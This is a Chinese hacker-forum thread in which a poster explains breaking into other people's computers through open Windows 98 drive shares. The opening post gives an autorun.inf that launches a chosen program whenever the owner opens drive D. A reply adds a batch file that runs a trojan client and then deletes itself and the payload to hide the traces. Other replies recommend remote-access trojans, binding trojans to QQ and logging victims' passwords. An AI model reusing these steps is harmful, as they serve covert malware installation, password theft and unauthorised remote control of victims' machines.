20CN网络安全小组论坛 - 菜鸟乐园 - 关于我139共享入侵的经历

论坛: 菜鸟乐园标题: 关于我139共享入侵的经历

作者: ma2751_cn [ma2751_cn]

愿创，如不对请指教：
你们都见过光盘放入光驱它就会自动运行的吧，原理是光盘里有个autorun.inf（应该是这个吧）文件能让光驱自动运行光盘，说到这里大家都知道怎么做了吧。呵呵，打开autorun.inf修改一下（内容就是让电脑的主人一打开D盘就会运行某个程序）内容如下：
[AutoRun]
open=mane.exe(mane.exe是你要运行的WIN32程序文件名）
再放到完全共享WIN98的D盘里，怎么放上去不用我说了吧，再放一个木马（不太保险哦，搞不好会被毒霸K掉的哦）或可以完全共享硬盘的程序（忘了哪里有了），用月光追捕查找该IP的主机名。然后就是等待了，这样比让人家打开你指定的程序命中率高多了，我就不信他不打开D盘。但当电脑主人打开D盘的时候，系统会运行你所指定的程序，打开D盘的速度就会变慢，有点安全意识的人就会怀疑了。所以你再次连接上去的时候一定要删除那个文件，因为那个文件已经没用了，（你现在有木马了嘛）还会让机主怀疑。K掉就OK了。。

[此贴被风一样的男子(ma2751_cn) 在 4月20日3时57分编辑过]

[此贴被风一样的男子(ma2751_cn) 在 4月23日20时46分编辑过]

[此贴被风一样的男子(ma2751_cn) 在 4月23日20时15分编辑过]

地主发表时间: 4/23 20:48

回复: feeling [feeling]

论坛用户

我好像不能用呀，可能光盘跟硬盘格式有所不同吧。上面的能说清楚一点嘛。

B1层发表时间: 04/20 09:46

回复: getian [getian]

论坛用户

你真的这么玩过么?

B2层发表时间: 04/20 11:25

回复: yangze [yangze]

版主

这种方法一定行的，
但文件名只能是AUTORUN。INF
且只能放到硬盘根目才能。
如果不相信，你可以在上面这个文件中加入
OPEN=xx。EXE文件，（XX。EXE）也要放在根目录下。你会看到硬盘图标会换成你OPEN后的。EXE文件的图标。
呵呵，挺有趣的。

B3层发表时间: 04/20 12:16

回复: shuaishuai [shuaishuai]

论坛用户

把木马改名或换个图标直接放到启动项里不更简单？或者把木马和他的qq捆到一起更爽，

B4层发表时间: 04/20 19:29

回复: zhuyun_321 [zhuyun_321]

论坛用户

我想问一下捆绑是怎么做的啊？

B5层发表时间: 04/20 19:45

回复: ma2751_cn [ma2751_cn]

不是说了吗？？？现在的木马容易被K掉，而硬盘共享的程序在WINDOWS里是看不到小手的。但硬盘已经完全共享了。还有捆绑木马你要让他打开你的程序，但如果他不打开你那个程序你要等到几时？？而D盘他是一定会打开的呀，命中率高多了。不是吗？？？/

B6层发表时间: 04/21 00:20

回复: group [group]

论坛用户

该方法可行

B7层发表时间: 04/21 00:51

回复: netax [netax]

论坛用户

如果他是只共享了个文件夹呢！或共享了只读呢

B8层发表时间: 04/22 11:35

回复: neo2001 [neo2001]

论坛用户

想捆绑文件，找个文件捆绑器不就行了吗？

B9层发表时间: 04/22 17:58

回复: neo2001 [neo2001]

论坛用户

给个详细的说明吧，别这么吝啬吗？

B10层发表时间: 04/22 18:03

回复: feimeng [feimeng]

论坛用户

完全共享硬盘的程序在哪里有啊
告诉我吧

B11层发表时间: 04/23 18:47

回复: asdbdsa [asdbdsa]

论坛用户

www.pp365.com

B12层发表时间: 04/23 22:37

回复: ma2751_cn [ma2751_cn]

共享硬盘程序在天天就有呀。而autorun.inf文件每个会自动运行的光盘里都会有。

B13层发表时间: 04/25 23:46

回复: skeeter [skeeter]

论坛用户

其实防到开始菜单里面的启动里面很难,
好多人不共享c,防到d盘里面比较好
其实下面最安全
需要3个文件
1.client.exe(客户端)
2.client.bat(一个批处理)
3.autorun.inf(不用说了)
可以把client.bat做成下面的样子
client.exe
del d:\client.exe
del d:\client.bat
exit
然后让autorun自动运行client.bat
就可以了
运行万以后删除得干干净净
当然,还要把client.bat属性设置成
"退出时关闭"
以及"运行窗口最小化"
就可以了

[此贴被 skeeter(skeeter) 在 4月26日12时6分编辑过]

B14层发表时间: 4/26 12:6

回复: tmxk [tmxk]

论坛用户

没有想到会出错吗？

等到最后一行执行完成，bat文件删除后，会出现找不到文件的错误。

B15层发表时间: 04/26 12:11

回复: vishx [vishx]

论坛用户

AutoRun.INF
直得一用!

B16层发表时间: 01/16 17:24

回复: alixlinn [alixlinn]

论坛用户

呵呵，去肉鸡上试试看

B17层发表时间: 01/16 19:22

回复: 54183710 [hcz]

论坛用户

全是一群猪，你能进去他的机器，还用的着木马吗

B18层发表时间: 01/16 20:00

回复: morziguang [morziguang]

论坛用户

是啊!!
能进去了还用什么木马??

B19层发表时间: 01/16 20:44

回复: napolun [napolun]

版主

万一以后漏洞补了呢？

B20层发表时间: 01/17 00:25

回复: Axing [lanxing]

论坛用户

小子算你恨。

B21层发表时间: 01/17 01:27

回复: nothing [eson]

论坛用户

hehe

B22层发表时间: 01/17 08:51

回复: vishx [vishx]

论坛用户

54183710 你他妈的猪！用木马记别人的密码，还可以远控制！

B23层发表时间: 01/17 11:10

回复: yaochi [yaochi]

论坛用户

你们好像都理解错了
54183710 以为是给别人放木马再入侵，其实这个办法是用作已经打开D：(或者其它盘)的共享，而没开C：(最重要的盘)的共享的主机
雨翼就顺着他的错误走了下去~

B24层发表时间: 01/17 17:00

回复: 54183710 [hcz]

论坛用户

呵呵，懂了，是先入侵，再木马，呵呵，sorry

B25层发表时间: 01/18 03:14

回复: junjuntop [junjuntop]

论坛用户

不要那么费事

你撂个冰河，广外什么的救可以了嘛

B26层发表时间: 01/18 09:28

回复: haomai_ren [haomai_ren]

论坛用户

怎么设置client.bat属性设置成"退出时关闭"，以及"运行窗口最小化"呢？还有它执行以后会提示找不到client.bat的，那怎么办呀？请大哥指点，谢谢！

B27层发表时间: 03/19 16:31

回复: z110 [z110]

论坛用户

我觉得。不太好玩。现在谁的机子上。没有杀毒软件啊。

B28层发表时间: 03/19 18:57

回复: feng_1185 [feng_1185]

论坛用户

能告诉我怎么才能进入别人的共享D盘吗？ipc$无法建立，共享密码破解不开怎么办？请指教~~~

B29层发表时间: 11/13 07:41

回复: feng_1185 [feng_1185]

论坛用户

请问哪里有文件捆绑器？~~~

B30层发表时间: 11/13 07:44

回复: dragonsky [dragonsky]

论坛用户

对各位我只有一句话给你们，高手啊！
为什么我听不懂你们讲的啊！
我也想学啊！

B31层发表时间: 11/14 20:21

回复: netsky [netsky]

论坛用户

上楼的！~
我们想的一样耶！`

B32层发表时间: 11/15 14:26

回复: feng_1185 [feng_1185]

论坛用户

各位真是说话的高手￣￣￣

B33层发表时间: 11/16 09:07

回复: mingming8 [mingming8]

论坛用户

听不懂？
不会吧！

B34层发表时间: 11/16 09:20

回复: zerosmile [zerosmile]

论坛用户

我想给磁盘换图标的方法，应该是这样的吧，假如有错请高手不要见笑。
新建一个AUTORUN。INF文件
在里写入[AUTORUN]
icon=*.ico保存*。exe不行吧是以ICO为后缀名，上面的兄弟也说过了要在根目录下面。

B35层发表时间: 11/16 09:26

论坛: 菜鸟乐园